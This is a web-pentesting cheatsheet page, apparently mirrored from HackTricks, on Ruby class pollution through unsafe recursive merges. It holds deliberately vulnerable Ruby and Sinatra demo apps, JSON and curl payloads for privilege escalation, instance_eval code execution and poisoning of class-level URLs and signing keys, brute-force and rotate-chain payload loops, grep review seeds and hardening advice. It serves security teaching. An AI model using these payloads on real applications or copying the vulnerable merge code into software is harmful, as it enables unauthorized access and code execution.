daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ruby-class-pollution.md (18150B)


      1 ---
      2 title: "Ruby Class Pollution"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/deserialization/ruby-class-pollution.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/ruby-class-pollution.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Ruby Class Pollution
     14 
     15 This is a summary from the post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)<sup>[[1]](#references)</sup>
     16 
     17 ## When a recursive merge becomes class pollution
     18 
     19 A normal hash-to-hash `deep_merge` is not enough. The dangerous pattern is a recursive importer that treats untrusted keys as object attributes, dynamically creates readers/writers, or invokes a same-named method to obtain the next merge target. In the example below, a nested hash key reaches `respond_to?`/`public_send`, so keys such as `class`, `superclass` and `subclasses` become **zero-argument method calls** rather than data keys. A scalar leaf then reaches `instance_variable_set` and `singleton_class.attr_accessor`, giving the attacker a write primitive on the object reached by that method chain.<sup>[[1]](#references)</sup>
     20 
     21 This distinction is useful during review:<sup>[[1]](#references)</sup>
     22 
     23 - **Instance pollution:** a leaf overwrites a reader only on one object's singleton class. It can still bypass authorization or become RCE when the value later reaches `instance_eval`, `eval`, `send`, a template, or another dangerous sink.
     24 - **Class-object pollution:** traversal reaches a `Class` object and installs an instance variable plus a singleton accessor on that class object. The new class method can shadow an existing reader and remains visible to all requests handled by that Ruby process.<sup>[[1]](#references)</sup>
     25 
     26 ## Merge on Attributes
     27 
     28 Example:
     29 
     30 ```ruby
     31 # Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
     32 # Comments added to exploit the merge on attributes
     33 require 'json'
     34 
     35 
     36 # Base class for both Admin and Regular users
     37 class Person
     38 
     39   attr_accessor :name, :age, :details
     40 
     41   def initialize(name:, age:, details:)
     42     @name = name
     43     @age = age
     44     @details = details
     45   end
     46 
     47   # Method to merge additional data into the object
     48   def merge_with(additional)
     49     recursive_merge(self, additional)
     50   end
     51 
     52   # Authorize based on the `to_s` method result
     53   def authorize
     54     if to_s == "Admin"
     55       puts "Access granted: #{@name} is an admin."
     56     else
     57       puts "Access denied: #{@name} is not an admin."
     58     end
     59   end
     60 
     61   # Health check that executes all protected methods using `instance_eval`
     62   def health_check
     63     protected_methods().each do |method|
     64       instance_eval(method.to_s)
     65     end
     66   end
     67 
     68   private
     69 
     70   # VULNERABLE FUNCTION that can be abused to merge attributes
     71   def recursive_merge(original, additional, current_obj = original)
     72     additional.each do |key, value|
     73 
     74       if value.is_a?(Hash)
     75         if current_obj.respond_to?(key)
     76           next_obj = current_obj.public_send(key)
     77           recursive_merge(original, value, next_obj)
     78         else
     79           new_object = Object.new
     80           current_obj.instance_variable_set("@#{key}", new_object)
     81           current_obj.singleton_class.attr_accessor key
     82         end
     83       else
     84         current_obj.instance_variable_set("@#{key}", value)
     85         current_obj.singleton_class.attr_accessor key
     86       end
     87     end
     88     original
     89   end
     90 
     91   protected
     92 
     93   def check_cpu
     94     puts "CPU check passed."
     95   end
     96 
     97   def check_memory
     98     puts "Memory check passed."
     99   end
    100 end
    101 
    102 # Admin class inherits from Person
    103 class Admin < Person
    104   def initialize(name:, age:, details:)
    105     super(name: name, age: age, details: details)
    106   end
    107 
    108   def to_s
    109     "Admin"
    110   end
    111 end
    112 
    113 # Regular user class inherits from Person
    114 class User < Person
    115   def initialize(name:, age:, details:)
    116     super(name: name, age: age, details: details)
    117   end
    118 
    119   def to_s
    120     "User"
    121   end
    122 end
    123 
    124 class JSONMergerApp
    125   def self.run(json_input)
    126     additional_object = JSON.parse(json_input)
    127 
    128     # Instantiate a regular user
    129     user = User.new(
    130       name: "John Doe",
    131       age: 30,
    132       details: {
    133         "occupation" => "Engineer",
    134         "location" => {
    135           "city" => "Madrid",
    136           "country" => "Spain"
    137         }
    138       }
    139     )
    140 
    141 
    142     # Perform a recursive merge, which could override methods
    143     user.merge_with(additional_object)
    144 
    145     # Authorize the user (privilege escalation vulnerability)
    146     # ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    147     user.authorize
    148 
    149     # Execute health check (RCE vulnerability)
    150     # ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    151     user.health_check
    152 
    153   end
    154 end
    155 
    156 if ARGV.length != 1
    157   puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
    158   exit
    159 end
    160 
    161 json_input = ARGV[0]
    162 JSONMergerApp.run(json_input)
    163 ```
    164 
    165 ### Explanation
    166 
    167 1. **Privilege Escalation**: The `authorize` method checks if `to_s` returns "Admin." By injecting a new `to_s` attribute through JSON, an attacker can make the `to_s` method return "Admin," granting unauthorized privileges.
    168 2. **Remote Code Execution**: In `health_check`, `instance_eval` executes methods listed in `protected_methods`. If an attacker injects custom method names (like `"puts 1"`), `instance_eval` will execute it, leading to **remote code execution (RCE)**.
    169    1. This is only possible because there is a **vulnerable `eval` instruction** executing the string value of that attribute.
    170 3. **Impact Limitation**: This vulnerability only affects individual instances, leaving other instances of `User` and `Admin` unaffected, thus limiting the scope of exploitation.
    171 
    172 ### Real-World Cases <a href="#real-world-cases" id="real-world-cases"></a>
    173 
    174 ### ActiveSupport’s `deep_merge`
    175 
    176 `Hash#deep_merge` is not vulnerable by itself because it only merges hashes. It becomes dangerous when application code subsequently turns every merged key into an accessor or writes it into an object, as in the following pattern.<sup>[[1]](#references)</sup>
    177 
    178 ```ruby
    179 # Method to merge additional data into the object using ActiveSupport deep_merge
    180 def merge_with(other_object)
    181   merged_hash = to_h.deep_merge(other_object)
    182 
    183   merged_hash.each do |key, value|
    184     self.class.attr_accessor key
    185     instance_variable_set("@#{key}", value)
    186   end
    187 
    188   self
    189 end
    190 ```
    191 
    192 ### Hashie’s `deep_merge`
    193 
    194 Hashie’s `deep_merge` method operates directly on object attributes rather than plain hashes. It **prevents replacement of methods** with attributes during a merge, with some **exceptions**: attributes ending in `_`, `!`, or `?` can still be merged into the object.<sup>[[1]](#references)</sup>
    195 
    196 A special case is the standalone **`_`** attribute, which normally returns a `Mash` object. Because it is one of the exceptions, an attacker can modify it.<sup>[[1]](#references)</sup>
    197 
    198 The following example shows how passing `{"_": "Admin"}` can satisfy the `_.to_s == "Admin"` authorization check:
    199 
    200 ```ruby
    201 require 'json'
    202 require 'hashie'
    203 
    204 # Base class for both Admin and Regular users
    205 class Person < Hashie::Mash
    206 
    207   # Method to merge additional data into the object using hashie
    208   def merge_with(other_object)
    209     deep_merge!(other_object)
    210     self
    211   end
    212 
    213   # Authorize based on to_s
    214   def authorize
    215     if _.to_s == "Admin"
    216       puts "Access granted: #{@name} is an admin."
    217     else
    218       puts "Access denied: #{@name} is not an admin."
    219     end
    220   end
    221 
    222 end
    223 
    224 # Admin class inherits from Person
    225 class Admin < Person
    226   def to_s
    227     "Admin"
    228   end
    229 end
    230 
    231 # Regular user class inherits from Person
    232 class User < Person
    233   def to_s
    234     "User"
    235   end
    236 end
    237 
    238 class JSONMergerApp
    239   def self.run(json_input)
    240     additional_object = JSON.parse(json_input)
    241 
    242     # Instantiate a regular user
    243     user = User.new({
    244       name: "John Doe",
    245       age: 30,
    246       details: {
    247         "occupation" => "Engineer",
    248         "location" => {
    249           "city" => "Madrid",
    250           "country" => "Spain"
    251         }
    252       }
    253     })
    254 
    255     # Perform a deep merge, which could override methods
    256     user.merge_with(additional_object)
    257 
    258     # Authorize the user (privilege escalation vulnerability)
    259     # Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
    260     # Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    261     user.authorize
    262   end
    263 end
    264 
    265 if ARGV.length != 1
    266   puts "Usage: ruby hashie.rb 'JSON_STRING'"
    267   exit
    268 end
    269 
    270 json_input = ARGV[0]
    271 JSONMergerApp.run(json_input)
    272 ```
    273 
    274 ## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
    275 
    276 The following example defines **`Person`**, the **`Admin`** and **`Regular`** subclasses that inherit from it, and a separate **`KeySigner`** class:
    277 
    278 ```ruby
    279 require 'json'
    280 require 'sinatra/base'
    281 require 'net/http'
    282 
    283 # Base class for both Admin and Regular users
    284 class Person
    285   @@url = "http://default-url.com"
    286 
    287   attr_accessor :name, :age, :details
    288 
    289   def initialize(name:, age:, details:)
    290     @name = name
    291     @age = age
    292     @details = details
    293   end
    294 
    295   def self.url
    296     @@url
    297   end
    298 
    299   # Method to merge additional data into the object
    300   def merge_with(additional)
    301     recursive_merge(self, additional)
    302   end
    303 
    304   private
    305 
    306   # Recursive merge to modify instance variables
    307   def recursive_merge(original, additional, current_obj = original)
    308     additional.each do |key, value|
    309       if value.is_a?(Hash)
    310         if current_obj.respond_to?(key)
    311           next_obj = current_obj.public_send(key)
    312           recursive_merge(original, value, next_obj)
    313         else
    314           new_object = Object.new
    315           current_obj.instance_variable_set("@#{key}", new_object)
    316           current_obj.singleton_class.attr_accessor key
    317         end
    318       else
    319         current_obj.instance_variable_set("@#{key}", value)
    320         current_obj.singleton_class.attr_accessor key
    321       end
    322     end
    323     original
    324   end
    325 end
    326 
    327 class User < Person
    328   def initialize(name:, age:, details:)
    329     super(name: name, age: age, details: details)
    330   end
    331 end
    332 
    333 # A class created to simulate signing with a key, to be infected with the third gadget
    334 class KeySigner
    335   @@signing_key = "default-signing-key"
    336 
    337   def self.signing_key
    338     @@signing_key
    339   end
    340 
    341   def sign(signing_key, data)
    342     "#{data}-signed-with-#{signing_key}"
    343   end
    344 end
    345 
    346 class JSONMergerApp < Sinatra::Base
    347   # POST /merge - Infects class variables using JSON input
    348   post '/merge' do
    349     content_type :json
    350     json_input = JSON.parse(request.body.read)
    351 
    352     user = User.new(
    353       name: "John Doe",
    354       age: 30,
    355       details: {
    356         "occupation" => "Engineer",
    357         "location" => {
    358           "city" => "Madrid",
    359           "country" => "Spain"
    360         }
    361       }
    362     )
    363 
    364     user.merge_with(json_input)
    365 
    366     { status: 'merged' }.to_json
    367   end
    368 
    369   # GET /launch-curl-command - Activates the first gadget
    370   get '/launch-curl-command' do
    371     content_type :json
    372 
    373     # This gadget makes an HTTP request to the URL stored in the User class
    374     if Person.respond_to?(:url)
    375       url = Person.url
    376       response = Net::HTTP.get_response(URI(url))
    377       { status: 'HTTP request made', url: url, response_body: response.body }.to_json
    378     else
    379       { status: 'Failed to access URL variable' }.to_json
    380     end
    381   end
    382 
    383   # Curl command to infect User class URL:
    384   # curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
    385 
    386   # GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
    387   get '/sign_with_subclass_key' do
    388     content_type :json
    389 
    390     # This gadget signs data using the signing key stored in KeySigner class
    391     signer = KeySigner.new
    392     signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
    393 
    394     { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
    395   end
    396 
    397   # Curl command to infect KeySigner signing key (run in a loop until successful):
    398   # for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
    399 
    400   # GET /check-infected-vars - Check if all variables have been infected
    401   get '/check-infected-vars' do
    402     content_type :json
    403 
    404     {
    405       user_url: Person.url,
    406       signing_key: KeySigner.signing_key
    407     }.to_json
    408   end
    409 
    410   run! if app_file == $0
    411 end
    412 ```
    413 
    414 ### Poison Parent Class
    415 
    416 With this payload:
    417 
    418 ```bash
    419 curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
    420 ```
    421 
    422 The chain reaches the **`Person` class object**. In this exact PoC it does not alter `@@url`: the leaf branch sets `Person`'s `@url` and defines a singleton `url` accessor, shadowing the original `Person.url` reader that returned `@@url`. Callers nevertheless receive the attacker URL, and the change persists process-wide.<sup>[[1]](#references)</sup>
    423 
    424 ### **Poisoning Other Classes**
    425 
    426 With this payload:
    427 
    428 ```bash
    429 for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
    430 ```
    431 
    432 It is possible to brute-force the loaded classes until `sample` returns **`KeySigner`**, after which the dynamically installed `signing_key` singleton accessor shadows the original class reader. This approach is noisy: failed guesses may add accessors to unrelated classes, trigger exceptions, or destabilize the worker.<sup>[[1]](#references)</sup>
    433 
    434 ### Deterministic traversal with `rotate` chains
    435 
    436 The **rotate-chains** technique from bi0sCTF 2025 replaces random `sample` selection with nested zero-argument calls to `Array#rotate`, followed by `first`. If a subclasses array is `[A, B, C]`, the method chain `rotate.rotate.first` deterministically selects `C` for that particular array snapshot. Repeating the request with offsets `0..n-1` enumerates every direct subclass, and the same construction can be placed at each level of a deep Rails inheritance tree. The chain only works when every traversed object exposes the required zero-argument methods (in particular `subclasses`).<sup>[[2]](#references)</sup>
    437 
    438 The following helper builds a selector for one level; wrap the terminal write from the deepest desired class back toward `Object` for multi-level traversal.<sup>[[2]](#references)</sup>
    439 
    440 ```ruby
    441 require "json"
    442 
    443 def select_child(offset, tail)
    444   node = {"first" => tail}
    445   offset.times { node = {"rotate" => node} }
    446   {"subclasses" => node}
    447 end
    448 
    449 walk = {"signing_key" => "injected-signing-key"}
    450 walk = select_child(Integer(ARGV.fetch(0)), walk)
    451 puts JSON.generate({"class" => {"superclass" => {"superclass" => walk}}})
    452 ```
    453 
    454 For the sample application, enumerate offsets and observe the signing endpoint (or another side channel) to identify success.<sup>[[2]](#references)</sup>
    455 
    456 ```bash
    457 for i in $(seq 0 300); do
    458   body="$(ruby rotate_payload.rb "$i")"
    459   curl -s -H 'Content-Type: application/json' -d "$body" http://localhost:4567/merge >/dev/null
    460   curl -s http://localhost:4567/sign_with_subclass_key | grep -q injected && break
    461 done
    462 ```
    463 
    464 `Class#subclasses` is populated by the classes loaded in the current worker, so offsets may change after lazy loading, reloads, deployments, or between processes. Generate every nested rotate chain against the **same worker** when possible, use an application-level oracle to detect the desired class, and expect one offset search per ambiguous subclass level. Unlike `sample`, this makes each selection reproducible for a stable array snapshot, but it does not eliminate side effects when a wrong candidate also accepts the remaining chain.<sup>[[2]](#references)</sup>
    465 
    466 ## Gadget hunting and source review
    467 
    468 Pollution is a data-write primitive, not automatically RCE. After confirming a controllable leaf, trace every read of the shadowed method/attribute. High-value gadgets include HTTP client destinations (SSRF), signing/encryption material, authorization roles, SQL fragments, file paths, serializer choices, and values later passed to dynamic evaluation. The bi0sCTF chain, for example, used a polluted controller value to make an otherwise fixed SQL query attacker-controlled before chaining the result into a separate deserialization path.<sup>[[1]](#references)[[2]](#references)</sup>
    469 
    470 Useful source-review seeds are:<sup>[[1]](#references)[[2]](#references)</sup>
    471 
    472 ```bash
    473 grep -RInE 'respond_to\?\(.*key|public_send\(.*key|send\(.*key' .
    474 grep -RInE 'instance_variable_set|singleton_class.*attr_accessor|class_eval|instance_eval' .
    475 grep -RInE 'deep_merge!?|recursive_merge|Mash|OpenStruct' .
    476 ```
    477 
    478 Confirm whether attacker-controlled **keys**, not only values, reach these calls. Also test nested objects: flat allowlists can miss that a key becomes a method call only after the merge has traversed into another object.<sup>[[1]](#references)[[2]](#references)</sup>
    479 
    480 ## Hardening
    481 
    482 Keep untrusted input as plain hashes and copy only schema-allowlisted leaves into explicitly named setters. Do not derive accessor names or call `send`/`public_send` from input keys, and do not recurse into arbitrary return values merely because `respond_to?` is true. A denylist containing only `class`, `superclass` and `subclasses` is brittle because application/library methods can expose alternative paths; validate the complete key tree and reject unknown keys, excessive depth, and unexpected container types. If dynamic configuration is required, merge into a fresh hash and construct a typed object only after validation.<sup>[[1]](#references)[[2]](#references)</sup>
    483 
    484 
    485 ## References
    486 
    487 - [1] [Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
    488 - [2] [SFS_V1 - bi0sCTF 2025](https://blog.bi0s.in/2025/09/01/Web/SFS_V1-bi0sCTF20252025/)